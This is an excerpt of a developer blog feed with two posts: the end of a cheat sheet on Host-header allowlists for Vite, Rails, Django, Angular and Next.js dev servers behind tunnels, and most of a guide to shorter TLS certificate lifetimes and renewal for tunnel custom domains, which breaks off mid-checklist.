  &lt;span class="nl"&gt;allowedHosts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;TUNNEL_HOST&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;TUNNEL_HOST&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[],&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="c1"&gt;# config/environments/development.rb&lt;/span&gt;
&lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hosts&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;ENV&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"TUNNEL_HOST"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="no"&gt;ENV&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"TUNNEL_HOST"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The same pattern works in &lt;code&gt;settings.py&lt;/code&gt; with &lt;code&gt;os.environ&lt;/code&gt; and in &lt;code&gt;next.config.js&lt;/code&gt; with &lt;code&gt;process.env&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The &lt;code&gt;allowedHosts: true&lt;/code&gt; trap
&lt;/h2&gt;

&lt;p&gt;Disabling the check is one line in every framework above: Vite’s &lt;code&gt;true&lt;/code&gt;, Rails’ &lt;code&gt;config.hosts.clear&lt;/code&gt;, Django’s &lt;code&gt;'*'&lt;/code&gt;, or &lt;code&gt;true&lt;/code&gt; in Angular’s dev-server option. It “fixes” the error instantly, which is why it spreads.&lt;/p&gt;

&lt;p&gt;Vite’s documentation is blunt about it. Setting &lt;code&gt;server.allowedHosts&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt; allows any website to send requests to your dev server through DNS rebinding attacks, letting them download your source code and content. It recommends always using an explicit list. You have turned off the one control that existed to stop that.&lt;/p&gt;

&lt;p&gt;Two related mistakes are easy to make while trying to be careful:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Allowing a shared suffix.&lt;/strong&gt; Adding a tunnel provider’s shared domain, such as &lt;code&gt;.ngrok-free.app&lt;/code&gt;, to the list extends trust to a domain you do not control. Vite’s guidance is to add only hosts whose resolution you control, or whose owner you can trust. Prefer your own full hostname, or a domain you own.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Allowing everything “just for the demo.”&lt;/strong&gt; Dev servers outlive demos. Keep the explicit hostname instead.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  A copy-paste checklist
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Read the error. Does it name the host and the setting? Then fix configuration, not the tunnel.&lt;/li&gt;
&lt;li&gt;Copy the exact hostname from the public URL, without scheme or port.&lt;/li&gt;
&lt;li&gt;Add it in the right place: &lt;code&gt;server.allowedHosts&lt;/code&gt;, &lt;code&gt;config.hosts&lt;/code&gt;, &lt;code&gt;ALLOWED_HOSTS&lt;/code&gt;, &lt;code&gt;allowedHosts&lt;/code&gt; in &lt;code&gt;angular.json&lt;/code&gt;, or &lt;code&gt;allowedDevOrigins&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Restart the dev server. Config-file settings like these are normally read at startup.&lt;/li&gt;
&lt;li&gt;If the page loads but hot reload or form posts fail, check HMR WebSocket settings (Vite), &lt;code&gt;CSRF_TRUSTED_ORIGINS&lt;/code&gt; (Django), or dev-resource warnings (Next.js).&lt;/li&gt;
&lt;li&gt;Reserve a stable subdomain so this is the last time you edit it.&lt;/li&gt;
&lt;li&gt;Verify from outside your network, such as a phone on cellular data, not just from your own machine.&lt;/li&gt;
&lt;li&gt;Never commit &lt;code&gt;true&lt;/code&gt;, &lt;code&gt;'*'&lt;/code&gt; or a shared provider suffix.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Why does my app work on localhost but not through a tunnel?
&lt;/h3&gt;

&lt;p&gt;On &lt;code&gt;localhost&lt;/code&gt; the &lt;code&gt;Host&lt;/code&gt; header is &lt;code&gt;localhost&lt;/code&gt;, which every framework above allows by default. Through a tunnel it is the public hostname, which is not on any default list.&lt;/p&gt;

&lt;h3&gt;
  
  
  Is &lt;code&gt;allowedHosts: true&lt;/code&gt; ever acceptable?
&lt;/h3&gt;

&lt;p&gt;Only on a machine and network you fully control, for a short time, with nothing sensitive in the project. Even then, an explicit hostname costs one line and avoids the risk.&lt;/p&gt;

&lt;h3&gt;
  
  
  Do I need to allow the port as well?
&lt;/h3&gt;

&lt;p&gt;No. Django matches hostnames without the port, Rails strings tolerate an optional port, and Next.js entries should be written without one.&lt;/p&gt;

&lt;h3&gt;
  
  
  The error mentions &lt;code&gt;vite.config.js&lt;/code&gt; but my framework has none. What now?
&lt;/h3&gt;

&lt;p&gt;Look for a pass-through key: &lt;code&gt;vite.server.allowedHosts&lt;/code&gt; in Nuxt, the admin Vite config in Strapi (or upgrade Strapi), and &lt;code&gt;allowedHosts&lt;/code&gt; in &lt;code&gt;angular.json&lt;/code&gt; for Angular.&lt;/p&gt;

&lt;h3&gt;
  
  
  Does this affect production?
&lt;/h3&gt;

&lt;p&gt;These are dev-server settings for Vite, Angular and Next.js. Rails and Django are different. Django’s &lt;code&gt;ALLOWED_HOSTS&lt;/code&gt; applies in production, and Rails’ &lt;code&gt;config.hosts&lt;/code&gt; applies in any environment where you configure it.&lt;/p&gt;

&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Vite, &lt;a href="https://vite.dev/config/server-options.html#server-allowedhosts" rel="noopener noreferrer"&gt;Server Options&lt;/a&gt; and &lt;a href="https://vite.dev/config/preview-options.html" rel="noopener noreferrer"&gt;Preview Options&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Vite advisory &lt;a href="https://github.com/vitejs/vite/security/advisories/GHSA-vg6x-rcgg-rjx6" rel="noopener noreferrer"&gt;GHSA-vg6x-rcgg-rjx6&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Rails API, &lt;a href="https://api.rubyonrails.org/classes/ActionDispatch/HostAuthorization.html" rel="noopener noreferrer"&gt;ActionDispatch::HostAuthorization&lt;/a&gt; and &lt;a href="https://github.com/rails/rails/pull/33145" rel="noopener noreferrer"&gt;pull request #33145&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Django, &lt;a href="https://docs.djangoproject.com/en/6.1/ref/settings/" rel="noopener noreferrer"&gt;Settings: ALLOWED_HOSTS and CSRF_TRUSTED_ORIGINS&lt;/a&gt;, &lt;a href="https://docs.djangoproject.com/en/6.1/releases/1.4.4/" rel="noopener noreferrer"&gt;1.4.4 release notes&lt;/a&gt; and &lt;a href="https://djangoproject.com/weblog/2016/nov/01/security-releases" rel="noopener noreferrer"&gt;2016 security releases&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Angular CLI, &lt;a href="https://angular.dev/cli/serve" rel="noopener noreferrer"&gt;&lt;code&gt;ng serve&lt;/code&gt; options&lt;/a&gt;, &lt;a href="https://github.com/angular/angular-cli/pull/29466" rel="noopener noreferrer"&gt;pull request #29466&lt;/a&gt;, &lt;a href="https://github.com/angular/angular-cli/issues/33184" rel="noopener noreferrer"&gt;issue #33184&lt;/a&gt; and &lt;a href="https://github.com/angular/angular-cli/issues/32616" rel="noopener noreferrer"&gt;issue #32616&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Angular advisory &lt;a href="https://github.com/angular/angular/security/advisories/GHSA-xrxm-cp7j-8xf6" rel="noopener noreferrer"&gt;GHSA-xrxm-cp7j-8xf6&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Next.js, &lt;a href="https://nextjs.org/docs/app/api-reference/config/next-config-js/allowedDevOrigins" rel="noopener noreferrer"&gt;allowedDevOrigins&lt;/a&gt;, &lt;a href="https://github.com/vercel/next.js/security/advisories/GHSA-3h52-269p-cp9r" rel="noopener noreferrer"&gt;advisory GHSA-3h52-269p-cp9r&lt;/a&gt;, &lt;a href="https://github.com/vercel/next.js/pull/91507" rel="noopener noreferrer"&gt;pull request #91507&lt;/a&gt; and &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2026-27977" rel="noopener noreferrer"&gt;CVE-2026-27977&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Strapi, &lt;a href="https://strapi.io/blog/strapi-vite-allowed-hosts-blocked-request" rel="noopener noreferrer"&gt;Fixing “Blocked request. This host is not allowed” in Strapi 5&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Nuxt example, &lt;a href="https://israynotarray.com/en/nuxt/2026/05/16/nuxt3-ngrok-blocked-request-fix/" rel="noopener noreferrer"&gt;Fixing ‘Blocked request’ When Exposing a Nuxt 3 Dev Server Through ngrok&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://instatunnel.my/blog/blocked-request-this-host-is-not-allowed-the-host-header-allowlist-cheat-sheet-for-vite-rails-django-angular-and-nextjs" rel="noopener noreferrer"&gt;https://instatunnel.my/blog/blocked-request-this-host-is-not-allowed-the-host-header-allowlist-cheat-sheet-for-vite-rails-django-angular-and-nextjs&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
    </item>
    <item>
      <title>Certificate Lifetimes Are Shrinking: What 64-Day and 45-Day TLS Means for Custom Domains on Tunnels</title>
      <dc:creator>InstaTunnel</dc:creator>
      <pubDate>Fri, 06 Nov 2026 02:35:32 +0000</pubDate>
      <link>https://dev.to/instatunnel/certificate-lifetimes-are-shrinking-what-64-day-and-45-day-tls-means-for-custom-domains-on-tunnels-12e5</link>
      <guid>https://dev.to/instatunnel/certificate-lifetimes-are-shrinking-what-64-day-and-45-day-tls-means-for-custom-domains-on-tunnels-12e5</guid>
      <description>&lt;p&gt;On &lt;strong&gt;February 10, 2027&lt;/strong&gt;, roughly three months from now, Let’s Encrypt changes its default certificate lifetime from 90 days to 64 days. About five weeks later, on &lt;strong&gt;March 15, 2027&lt;/strong&gt;, the industry-wide maximum for publicly trusted TLS certificates drops from 200 days to 100. Neither change is a surprise, yet few developers have asked what it does to a custom domain pointed at a tunnel.&lt;/p&gt;

&lt;p&gt;If you run &lt;code&gt;app.yourdomain.com&lt;/code&gt; through a tunneling service, a certificate sits between your users (or your webhook senders) and your localhost. Someone has to renew it every time the clock runs out, and that clock is about to run faster. This guide covers the exact timeline, how renewal and DNS verification work behind a tunnel, the difference between provider-managed and bring-your-own (BYO) certificates, and the failure modes that appear when renewal quietly stops.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Timeline: What Is Actually Changing and When
&lt;/h2&gt;

&lt;p&gt;Two separate schedules are in play, and people often blur them together.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. The CA/Browser Forum schedule (applies to every public CA)
&lt;/h3&gt;

&lt;p&gt;In April 2025 the CA/Browser Forum passed &lt;strong&gt;Ballot SC-081v3&lt;/strong&gt;. It phases down both the maximum certificate validity and the period for which a CA may reuse a prior domain validation (DCV). The ballot passed on April 11, 2025, with no votes against.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Effective date&lt;/th&gt;
&lt;th&gt;Max certificate validity&lt;/th&gt;
&lt;th&gt;Max DCV reuse&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Until March 14, 2026&lt;/td&gt;
&lt;td&gt;398 days&lt;/td&gt;
&lt;td&gt;398 days&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;March 15, 2026 (already in force)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;200 days&lt;/td&gt;
&lt;td&gt;200 days&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;March 15, 2027&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;100 days&lt;/td&gt;
&lt;td&gt;100 days&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;March 15, 2029&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;47 days&lt;/td&gt;
&lt;td&gt;10 days&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  2. The Let’s Encrypt schedule (the CA most tunnel and ACME setups use)
&lt;/h3&gt;

&lt;p&gt;Let’s Encrypt is moving faster than the mandate. It will reach 45 days in 2028, a year before the Forum’s 47-day maximum.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;ACME profile&lt;/th&gt;
&lt;th&gt;Validity&lt;/th&gt;
&lt;th&gt;Authorization reuse&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;May 13, 2026 (live)&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;tlsserver&lt;/code&gt; (opt-in)&lt;/td&gt;
&lt;td&gt;45 days&lt;/td&gt;
&lt;td&gt;Not specified in the announcement&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;February 10, 2027&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;classic&lt;/code&gt; (default)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;64 days&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;10 days (down from 30)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;February 16, 2028&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;classic&lt;/code&gt; (default)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;45 days&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;7 hours&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;A few details from Let’s Encrypt’s announcements:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Staging is live now.&lt;/strong&gt; 64-day certificates have been available in Let’s Encrypt’s staging environment since October 14, 2026, so you can test your renewal setup before production changes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Existing certificates are not revoked.&lt;/strong&gt; Let’s Encrypt expects the last 90-day certificate to expire on May 11, 2027.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Users of the &lt;code&gt;tlsserver&lt;/code&gt; (45-day) or &lt;code&gt;shortlived&lt;/code&gt; (6-day) profiles are not affected&lt;/strong&gt; by the February change.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The short authorization reuse period is the quiet part.&lt;/strong&gt; As the reuse window shrinks, you prove domain control at essentially every issuance rather than leaning on a cached validation. Let’s Encrypt says this also removes the need for “CAA rechecking” when validation data is more than seven hours old.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you use the default profile and never touched your ACME client’s settings, the February 2027 change happens to you automatically. That is fine if your renewal is truly automated. It is a problem if “automated” means a cron job nobody has looked at since 2023.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Tunnel Custom Domains Are a Special Case
&lt;/h2&gt;

&lt;p&gt;On a normal server you hold the private key and run the ACME client yourself. With a tunnel, the public edge belongs to the provider, and your domain is an alias pointing at it. That splits responsibility three ways:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The provider&lt;/strong&gt; terminates TLS and (usually) obtains and renews the certificate.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;You&lt;/strong&gt; control the DNS records that make that issuance possible.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Your local app&lt;/strong&gt; never sees the certificate at all.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Shorter lifetimes stress the DNS half of that arrangement most. The renewal job on the provider’s side can be flawless and still fail because a record on &lt;em&gt;your&lt;/em&gt; side drifted.&lt;/p&gt;

&lt;h2&gt;
  
  
  Provider-Managed Certificates: Convenient, Not Invisible
&lt;/h2&gt;

&lt;p&gt;Most tunnel platforms default to managed certificates, and ngrok’s documentation is a concrete example. It recommends automatic certificates unless you have special requirements. For these it provisions and renews certificates from an ACME-compliant CA such as Let’s Encrypt. It uses an HTTP-01 challenge for most domains and switches to DNS-01 for wildcard domains.&lt;/p&gt;

&lt;p&gt;For a branded domain such as &lt;code&gt;api.your-domain.com&lt;/code&gt;, you create a CNAME record, and provisioning does not begin until you do. For a wildcard such as &lt;code&gt;*.app.example.com&lt;/code&gt;, you need two CNAMEs: the wildcard itself and &lt;code&gt;_acme-challenge.app.example.com&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Provisioning is asynchronous. ngrok says it typically takes from a few seconds up to several minutes, and occasionally longer if a DNS challenge is slow to validate. While it runs, ngrok serves its own default wildcard certificate. That certificate is not issued for your hostname, so browsers and other TLS clients show a hostname-mismatch warning.&lt;/p&gt;

&lt;p&gt;That documentation describes one vendor, but the pattern is common. It tells you what to watch under shorter lifetimes:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;The CNAME is your issuance credential.&lt;/strong&gt; If someone “cleans up” DNS and removes it, provisioning cannot proceed. At 398 days you might not notice for a year. At 64 days you find out within about two months, and at 45 days within about six weeks.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Wildcards depend on a second record.&lt;/strong&gt; The &lt;code&gt;_acme-challenge&lt;/code&gt; CNAME is easy to forget, because nothing visibly breaks until the certificate needs renewing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fallback certificates look like an outage.&lt;/strong&gt; A hostname-mismatch warning is a hard failure for many API clients and webhook senders, even if a human could click through.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Managed certificates do not remove your obligations. They narrow them to a short list: keep the DNS records correct and monitor the outcome.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bring Your Own Certificates: Control With a Rotation Tax
&lt;/h2&gt;

&lt;p&gt;Some teams upload their own certificate: one from an internal CA, an EV certificate, or one pinned by a partner. That is legitimate, and the trade-off sharpens as lifetimes shrink.&lt;/p&gt;

&lt;p&gt;With ngrok, as an example, custom certificates mean you are responsible for renewal and rotation. You upload a PEM bundle with the leaf certificate first, followed by any intermediates, plus a private key that is not encrypted. Then you attach the certificate to one or more domains, because creating it alone changes no traffic.&lt;/p&gt;

&lt;p&gt;On ngrok, TLS certificates are available on all plans, but BYO certificates require the pay-as-you-go plan. They are billed at a flat $0.27 per hour for any clock hour in which at least one endpoint using that certificate is active. A wildcard certificate is billed once, not per matching subdomain. Pricing and plan rules differ by vendor, so check yours.&lt;/p&gt;

&lt;p&gt;Now do the rotation math for a single hostname:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Max lifetime&lt;/th&gt;
&lt;th&gt;Minimum rotations per year&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;398 days&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;200 days&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;100 days&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;64 days&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;47 days&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;These are minimums if you replaced each certificate exactly at expiry. Renewing earlier, as you should, pushes the real number higher.&lt;/p&gt;

&lt;p&gt;A manual process that was tolerable once a year (download, convert, upload, attach, test) becomes a recurring operational cost at six to eight times a year per hostname, multiplied by every environment. If you must use BYO, automate the whole path:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Your ACME client obtains the certificate.&lt;/li&gt;
&lt;li&gt;A deploy hook uploads it through the provider’s API.&lt;/li&gt;
&lt;li&gt;A second step attaches it to the domain.&lt;/li&gt;
&lt;li&gt;A check verifies the live certificate’s expiry afterwards.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Treat any step you cannot script as the one that will fail.&lt;/p&gt;

&lt;p&gt;The Forum’s schedule applies to &lt;em&gt;publicly trusted&lt;/em&gt; certificates. A certificate from a private CA that your own clients trust is outside it, but it does not help when external services call your tunnel URL.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Breaks When Renewal Silently Fails
&lt;/h2&gt;

&lt;p&gt;“Silently” is the operative word. Several things that used to cushion failures are weaker now:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;No more reminder emails.&lt;/strong&gt; Let’s Encrypt ended its expiration notification emails on June 4, 2025. It recommends third-party monitoring instead, and its monitoring page names Red Sift Certificates Lite, which is free for up to 250 certificates. If you relied on that email as a safety net, it is gone.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Shorter windows leave less slack.&lt;/strong&gt; Let’s Encrypt recommends renewing at roughly two-thirds of a certificate’s lifetime. For a 45-day certificate that means renewing around day 30, leaving about 15 days to fix a failure. For a 64-day certificate it is around day 43, leaving about three weeks.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reuse is shrinking.&lt;/strong&gt; With authorization reuse falling to 10 days and then 7 hours for Let’s Encrypt’s default profile, “it worked last time” no longer implies “it will work this time.”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Typical failure modes on tunnel custom domains:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Failure&lt;/th&gt;
&lt;th&gt;Likely symptom&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CNAME removed or retargeted during a DNS migration&lt;/td&gt;
&lt;td&gt;Provisioning or renewal cannot proceed; the provider’s status shows an error&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HTTP-01 request blocked by a firewall, WAF, or access policy&lt;/td&gt;
&lt;td&gt;Issuance error after a configuration change&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DNS API token expired or rotated (DNS-01 setups)&lt;/td&gt;
&lt;td&gt;Automation fails in logs nobody reads&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CAA record excludes the CA in use&lt;/td&gt;
&lt;td&gt;Issuance refused&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Old ACME client or abandoned cron job&lt;/td&gt;
&lt;td&gt;No renewal attempts at all&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Uploaded BYO certificate not replaced&lt;/td&gt;
&lt;td&gt;The expired certificate is still the one attached to the domain&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Two details from Let’s Encrypt’s documentation are relevant here. First, HTTP-01 can only be done on port 80. Its validation follows up to 10 redirects, but only to ports 80 or 443. Second, Let’s Encrypt checks CAA records before issuing, and its CAA identifier is &lt;code&gt;letsencrypt.org&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Webhook providers and API consumers are the least forgiving. A person might click past a warning, but an automated sender typically just fails the TLS handshake, and the first sign is missing events rather than a visible error page.&lt;/p&gt;

&lt;h2&gt;
  
  
  Renewal Timing: Stop Using Fixed Offsets
&lt;/h2&gt;

&lt;p&gt;Many tools were configured for 90-day certificates with a fixed rule, such as “renew when 30 days remain” or “renew every 60 days.” Let’s Encrypt’s own guidance is blunt. A hardcoded interval of 60 days is no longer sufficient for 45-day certificates. It suggests grepping cron jobs, wrapper scripts and runbooks for hardcoded numbers like 83, 80 or 60. Anything that waits 80 days will miss a 64-day certificate entirely.&lt;/p&gt;

&lt;p&gt;The better answer is &lt;strong&gt;ACME Renewal Information (ARI)&lt;/strong&gt;, standardized as RFC 9773. The CA tells the client when to renew, and clients should renew inside the suggested window. Let’s Encrypt recommends ARI, and says that if your client lacks it, renewing at about two-thirds of the certificate’s lifetime is acceptable.&lt;/p&gt;

&lt;p&gt;Certbot has checked ARI automatically when the CA supports it since version 4.1.0 (June 2025). Other clients differ, so verify your specific client and version rather than assuming. For tunnel providers, ask whether &lt;em&gt;their&lt;/em&gt; renewal pipeline uses ARI-based timing, since you do not control it.&lt;/p&gt;

&lt;h2&gt;
  
  
  DNS Verification Under Shorter Lifetimes
&lt;/h2&gt;

&lt;h3&gt;
  
  
  HTTP-01 vs DNS-01
&lt;/h3&gt;

&lt;p&gt;HTTP-01 is simple for single hostnames: the CA fetches a token from your site. On a tunnel the provider usually answers it for you once the CNAME is in place. DNS-01 is required for wildcards and works where HTTP-01 cannot, but it needs DNS write access at every issuance. Let’s Encrypt notes that putting full DNS API credentials on a web server increases the impact of a compromise. It recommends narrowly scoped credentials, or validating from a separate server.&lt;/p&gt;

&lt;h3&gt;
  
  
  Delegate the challenge instead of sharing DNS keys
&lt;/h3&gt;

&lt;p&gt;Let’s Encrypt follows standard DNS lookups for DNS-01 validation, so you can use CNAME or NS records to delegate the &lt;code&gt;_acme-challenge&lt;/code&gt; name to another zone. That lets you point &lt;code&gt;_acme-challenge.yourdomain.com&lt;/code&gt; at a zone reserved for automation, with credentials scoped to that zone only. Client support for following the delegation varies, so confirm yours and test with a dry run before relying on it.&lt;/p&gt;

&lt;h3&gt;
  
  
  DNS-PERSIST-01: a new option to watch
&lt;/h3&gt;

&lt;p&gt;Let’s Encrypt has described a new challenge type, &lt;strong&gt;DNS-PERSIST-01&lt;/strong&gt;, based on an IETF draft. Instead of publishing a fresh token at each issuance, you publish a standing TXT record at &lt;code&gt;_validation-persist.&amp;lt;domain&amp;gt;&lt;/code&gt; that names the CA and your specific ACME account. Renewals then need no DNS changes, so DNS write access can be locked down after setup.&lt;/p&gt;

&lt;p&gt;Scope and lifetime are controlled with optional parameters. &lt;code&gt;policy=wildcard&lt;/code&gt; widens the authorization to wildcard certificates and matching subdomains. &lt;code&gt;persistUntil&lt;/code&gt; sets an expiry timestamp. Without an expiry, the authorization lasts indefinitely, so set a monitoring reminder. Because the record persists, protecting your ACME account key becomes the central concern. The CA/Browser Forum approved the underlying validation method in ballot SC-088v3 in October 2025.&lt;/p&gt;

&lt;p&gt;Let’s Encrypt had targeted a production rollout in Q2 2026, with staging first. I could not find confirmation that it is live in production. Community discussion as late as July 2026 described the IETF draft as still being tightened and said no public CA had a production implementation. Treat it as something to plan for rather than depend on. It also matters whether your tunnel provider supports it, not just your own ACME client, because on a managed domain the provider holds the ACME account.&lt;/p&gt;

&lt;h2&gt;
  
  
  A Practical Checklist for Custom Domains on Tunnels
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Before February 10, 2027&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Inventory every custom hostname&lt;/strong&gt; and note who renews it: the provider, your ACME client, or a person.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Verify DNS records&lt;/strong&gt; (the CNAME target, plus &lt;code&gt;_acme-challenge&lt;/code&gt; for wildcards) against your provider’s current instructions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Check CAA records&lt;/strong&gt; to confirm they permit the CA actually issuing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Test renewal end to end.&lt;/strong&gt; Run your ACME client against Let’s Encrypt staging, which has issued 64-day certificates since October 14. For managed domains, confirm the provider’s status field or dashboard shows a healthy certificate.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Update old clients.&lt;/strong&gt; Make sure yours supports ACME profiles and ARI, and remove hardcoded renewal offsets.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Ongoing&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
